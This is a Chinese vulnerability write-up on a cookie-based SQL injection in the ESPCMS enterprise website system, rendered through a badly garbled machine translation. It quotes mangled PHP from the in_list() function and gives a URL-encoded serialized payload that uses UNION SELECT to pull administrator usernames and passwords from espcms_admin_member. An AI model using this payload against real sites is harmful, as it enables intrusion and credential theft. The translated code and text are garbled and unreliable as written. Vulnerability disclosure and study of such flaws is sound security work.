核心提示：000简介：基于espcms企业网站管理系统简单的企业网站管理系统灯的发展，它具有操作简单、功能强、稳定性好的优点，可扩展性和安全性强，发展和维护方便，可以快速方便地建立0×00帮你介绍..：

基于espcms企业网站管理系统简单的企业网站管理系统灯的发展，它具有操作简单、功能强、稳定性好的优点，可扩展性和安全性强，发展和维护方便，可以快速方便地建立一个强大的专业企业网站帮助你。

0×01脆弱性分析：


功能in_list（）{
家长：：start_pagetemplate（）；
美元的液化天然气（admin_lng = = = 'big5）美元-> CON { }：admin_lng 'is_lancode；
为颈=美元->娱乐->接受（'ecisp_order_list、c）； / /接收饼干{ecisp_order_list}
$颈= stripslashes（htmlspecialchars_decode（$颈））；
uncartid美元=！空（$颈）序列化（$颈）：0； / / $颈有特殊格式要求
如果（uncartid is_array美元（美元uncartid））{
didarray美元=美元->娱乐-> key_array_name（uncartid美元，'，'amount）；
didlist美元=美元->娱乐-> format_array_text（array_keys（$ didarray），'，'）；
如果（！空（美元didlist））{
db_table美元= db_prefix 'document；
db_where美元=为= 1 = 1，主要做（$ didlist）顺序是DESC；
为SQL =选择一样，LNG，PID，中期援助，tid，Sid，FGID，linkdid，采用，IsLink，ishtml，ismess、障碍、权限、推荐，TSN，标题，longtitle、颜色、作者、来源、图片、链接、oprice，bprice，点击增加，模板，文件名，从db_table美元美元db_where路径； / /动态构造SQL语句
在查询中直接将$ $ =
价值的直接收购饼干{ 'ecisp_order_list}，没有过滤，直接用来构造SQL语句，把它带到查询。所以一个Cookie注入形成这里。

0 * 02困难：

收到饼干{ 'ecisp_order_list}通过几个功能，stripslashes htmlspecialchars_decode（）（），（），（）key_array_name序列化，array_keys（）和format_array_text（format_array_text）。

在这，stripslashes（）使注射声明无视GPC的影响。

然而，由于使用的序列化（口），使施工更加困难；因为传入的序列化（）价值，你必须使用一种特殊的格式指定的（事实上，我还没有完全理解这一特殊格式）

我依靠运气和一点技巧，成功地构造了经验，这里没有详细阐述。你可以找到一种通过构造几个函数的返回值来构造结构的方法。

0×03：


一% 7bs 3A1 3a % % % % % 22% 22k23 3A3 3a % % % 3ba 3A2 3a % % % 7bs 3A3 3a % % % % 22% 22did 3bs 3a159 3a % 2224 + 1% + 1% +协会+选择3D2 2C2 % % % % 2C3 2C4 2C5 2C6 % % % % 2C10 2C7 2C8 2C9 % % % % 2c13 2C11 2C12 2C14 % % % % 2c15 2c16 2cpassword 2cusername % % % % 2c20 2C19 2c21 2c22 % % % % 2c23 2c24 2c25 2C26 % % % % 2c27 2c28 2C29 2c30 % 2c31 + + + + 1 + espcms_admin_member +（1% 22% 3bs 3a6 3a % % % % 22amount 22% 3bi % % % % 3b 3A1 7d 7d）
0×04利用方法：

事实上，每个人都知道，为了防止使用门槛低（实际上已经非常低），不再一个一个显示的使用过程。

0×05效果演示：

注入管理员信息：


官方后台：